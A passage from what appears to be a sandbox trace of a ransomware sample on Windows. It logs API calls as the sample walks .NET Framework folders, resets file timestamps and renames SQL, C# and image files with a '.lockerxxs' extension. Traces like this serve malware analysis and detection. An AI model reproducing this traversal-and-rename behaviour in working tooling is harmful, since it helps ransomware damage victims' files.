lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.067] CloseHandle (hObject=0x8c) returned 1 [0138.067] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallPersonalization.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallpersonalization.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallPersonalization.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallpersonalization.sql.lockerxxs")) returned 1 [0138.072] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.073] CloseHandle (hObject=0x8c) returned 1 [0138.073] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UnInstallProfile.SQL" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallprofile.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UnInstallProfile.SQL.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallprofile.sql.lockerxxs")) returned 1 [0138.080] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.080] CloseHandle (hObject=0x8c) returned 1 [0138.080] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallRoles.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallroles.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallRoles.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallroles.sql.lockerxxs")) returned 1 [0138.086] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.086] CloseHandle (hObject=0x8c) returned 1 [0138.086] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallsqlstate.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallSqlState.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallsqlstate.sql.lockerxxs")) returned 1 [0138.093] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.093] CloseHandle (hObject=0x8c) returned 1 [0138.094] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallSqlStateTemplate.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallsqlstatetemplate.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallSqlStateTemplate.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallsqlstatetemplate.sql.lockerxxs")) returned 1 [0138.099] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.099] CloseHandle (hObject=0x8c) returned 1 [0138.099] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallWebEventSqlProvider.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallwebeventsqlprovider.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallWebEventSqlProvider.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallwebeventsqlprovider.sql.lockerxxs")) returned 1 [0138.103] lstrcmpA (lpString1=".", lpString2="WPF") returned -1 [0138.103] lstrcmpA (lpString1="..", lpString2="WPF") returned -1 [0138.103] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8abdb760, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x6b95a3c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6b95a3c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501574, cFileName=".", cAlternateFileName="")) returned 0x502518 [0138.106] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.108] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.109] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.109] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0138.109] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0138.109] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\en-US\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f37bf00, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5f37bf00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5f37bf00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0138.111] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.111] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.111] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.113] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.113] CloseHandle (hObject=0x94) returned 1 [0138.113] lstrcmpA (lpString1=".", lpString2="Fonts") returned -1 [0138.113] lstrcmpA (lpString1="..", lpString2="Fonts") returned -1 [0138.113] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WPF\\Fonts\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8abdb760, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcf5ff460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xcf5ff460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0138.117] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.117] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.117] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.119] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.119] CloseHandle (hObject=0x94) returned 1 [0138.122] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.122] CloseHandle (hObject=0x90) returned 1 [0138.133] lstrcmpA (lpString1=".", lpString2="Framework64") returned -1 [0138.133] lstrcmpA (lpString1="..", lpString2="Framework64") returned -1 [0138.133] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7fdd12, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x89f82540, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x89f82540, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0138.134] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.134] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.134] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.136] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.136] CloseHandle (hObject=0x88) returned 1 [0138.137] lstrcmpA (lpString1=".", lpString2="v2.0.50727") returned -1 [0138.137] lstrcmpA (lpString1="..", lpString2="v2.0.50727") returned -1 [0138.137] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7fdd12, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xcde33fe0, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xcde33fe0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x501562, cFileName=".", cAlternateFileName="")) returned 0x502598 [0138.141] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.142] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.142] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.142] lstrcmpA (lpString1=".", lpString2="1033") returned -1 [0138.142] lstrcmpA (lpString1="..", lpString2="1033") returned -1 [0138.142] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\1033\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe7fdd12, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfedcb1c8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfedcb1c8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0138.144] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.144] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.144] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.147] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.147] CloseHandle (hObject=0x90) returned 1 [0138.150] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.150] CloseHandle (hObject=0x8c) returned 1 [0138.151] lstrcmpA (lpString1=".", lpString2="ASP.NETWebAdminFiles") returned -1 [0138.151] lstrcmpA (lpString1="..", lpString2="ASP.NETWebAdminFiles") returned -1 [0138.151] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe823e6c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfef47f4c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfef47f4c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4ff590, cFileName=".", cAlternateFileName="")) returned 0x502518 [0138.154] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.155] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.155] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.156] lstrcmpA (lpString1=".", lpString2="AppConfig") returned -1 [0138.156] lstrcmpA (lpString1="..", lpString2="AppConfig") returned -1 [0138.156] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe849fc6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfee8988a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfee8988a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0138.158] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.158] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.158] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.160] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.160] CloseHandle (hObject=0x94) returned 1 [0138.161] lstrcmpA (lpString1=".", lpString2="App_LocalResources") returned -1 [0138.161] lstrcmpA (lpString1="..", lpString2="App_LocalResources") returned -1 [0138.161] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe849fc6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfee63730, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfee63730, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x5015b6, cFileName=".", cAlternateFileName="")) returned 0x502698 [0138.163] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.164] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.164] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.165] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.165] CloseHandle (hObject=0x98) returned 1 [0138.168] lstrcmpA (lpString1=".", lpString2="App_Code") returned -1 [0138.168] lstrcmpA (lpString1="..", lpString2="App_Code") returned -1 [0138.168] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe823e6c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfee1747c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfee1747c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x20004f, dwReserved1=0x450044, cFileName=".", cAlternateFileName="")) returned 0x502658 [0138.172] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.173] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.173] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.175] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.175] CloseHandle (hObject=0x94) returned 1 [0138.250] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.250] CloseHandle (hObject=0x94) returned 1 [0138.251] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\ApplicationConfigurationPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code\\applicationconfigurationpage.cs"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\ApplicationConfigurationPage.cs.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code\\applicationconfigurationpage.cs.lockerxxs")) returned 1 [0138.270] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.271] CloseHandle (hObject=0x94) returned 1 [0138.271] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code\\navigationbar.cs"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code\\navigationbar.cs.lockerxxs")) returned 1 [0138.293] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.294] CloseHandle (hObject=0x94) returned 1 [0138.294] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code\\passwordvaluetextbox.cs"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code\\passwordvaluetextbox.cs.lockerxxs")) returned 1 [0138.321] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.321] CloseHandle (hObject=0x94) returned 1 [0138.321] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code\\providerspage.cs"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code\\providerspage.cs.lockerxxs")) returned 1 [0138.332] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.332] CloseHandle (hObject=0x94) returned 1 [0138.332] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code\\securitypage.cs"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code\\securitypage.cs.lockerxxs")) returned 1 [0138.341] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.341] CloseHandle (hObject=0x94) returned 1 [0138.341] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code\\webadminpage.cs"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code\\webadminpage.cs.lockerxxs")) returned 1 [0138.367] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.367] CloseHandle (hObject=0x94) returned 1 [0138.367] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code\\wizardpage.cs"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code\\wizardpage.cs.lockerxxs")) returned 1 [0138.369] lstrcmpA (lpString1=".", lpString2="App_Data") returned -1 [0138.369] lstrcmpA (lpString1="..", lpString2="App_Data") returned -1 [0138.370] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Data\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe823e6c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfedcb1c8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfedcb1c8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xe90001e8, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0138.370] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.370] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.370] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.377] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.377] CloseHandle (hObject=0x94) returned 1 [0138.378] lstrcmpA (lpString1=".", lpString2="App_GlobalResources") returned -1 [0138.378] lstrcmpA (lpString1="..", lpString2="App_GlobalResources") returned -1 [0138.378] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_GlobalResources\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe823e6c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfedf1322, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfedf1322, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0138.378] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.379] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.379] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.417] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.417] CloseHandle (hObject=0x94) returned 1 [0138.418] lstrcmpA (lpString1=".", lpString2="App_LocalResources") returned -1 [0138.418] lstrcmpA (lpString1="..", lpString2="App_LocalResources") returned -1 [0138.418] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_LocalResources\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe823e6c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfee3d5d6, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfee3d5d6, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x630072, dwReserved1=0x730065, cFileName=".", cAlternateFileName="")) returned 0x502658 [0138.420] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.421] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.421] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.423] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.423] CloseHandle (hObject=0x94) returned 1 [0138.428] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.428] CloseHandle (hObject=0x90) returned 1 [0138.429] lstrcmpA (lpString1=".", lpString2="Images") returned -1 [0138.429] lstrcmpA (lpString1="..", lpString2="Images") returned -1 [0138.429] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe849fc6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfeefbc98, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfeefbc98, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x5015a2, cFileName=".", cAlternateFileName="")) returned 0x502658 [0138.432] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.433] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.433] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.435] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0138.435] CloseHandle (hObject=0x94) returned 1 [0138.468] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.469] CloseHandle (hObject=0x94) returned 1 [0138.469] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\ASPdotNET_logo.jpg" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\aspdotnet_logo.jpg"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\ASPdotNET_logo.jpg.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\aspdotnet_logo.jpg.lockerxxs")) returned 1 [0138.518] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.518] CloseHandle (hObject=0x94) returned 1 [0138.518] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\darkBlue_GRAD.jpg" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\darkblue_grad.jpg"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\darkBlue_GRAD.jpg.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\darkblue_grad.jpg.lockerxxs")) returned 1 [0138.578] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.579] CloseHandle (hObject=0x94) returned 1 [0138.579] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\help.jpg" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\help.jpg"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\help.jpg.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\help.jpg.lockerxxs")) returned 1 [0138.584] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, 